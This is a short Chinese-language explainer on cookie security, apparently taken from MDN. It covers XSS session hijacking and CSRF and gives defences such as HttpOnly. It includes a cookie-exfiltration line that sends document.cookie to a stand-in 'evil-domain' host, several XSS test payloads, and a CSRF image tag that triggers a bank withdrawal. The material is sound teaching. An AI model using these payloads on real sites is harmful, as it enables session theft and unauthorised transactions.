# Heading
当机器处于不安全环境时，切记不能通过HTTP Cookie存储、传输敏感信息。
# 会话劫持和XSS
在Web应用中，Cookie常用来标记用户或授权会话。因此，如果Web应用的Cookie被窃取，可能导致授权用户的会话受到攻击。常用的窃取Cookie的方法有利用社会工程学攻击和利用应用程序漏洞进行XSS攻击。
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
<body onload="alert('test1')"/>
<img src="http://url.to.file.which/not.exist" onerror="alert(document.cookie);">
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg"/>
1
2
3
4
2
3
4
HttpOnly类型的Cookie由于阻止了JavaScript对其的访问性而能在一定程度上缓解此类攻击。
# 跨站请求伪造（CSRF）
维基百科已经给了一个比较好的CSRF例子。比如在不安全聊天室或论坛上的一张图片，它实际上是一个给你银行服务器发送提现的请求：
<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">
1
当你打开含有了这张图片的HTML页面时，如果你之前已经登录了你的银行帐号并且Cookie仍然有效（还没有其它验证步骤），你银行里的钱很可能会被自动转走。有一些方法可以阻止此类事件的发生：
- 对用户输入进行过滤来阻止XSS；
- 任何敏感操作都需要确认；
- 用于敏感信息的Cookie只能拥有较短的生命周期；
- 更多方法可以查看OWASP CSRF prevention cheat sheet (opens new window)。
https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Cookies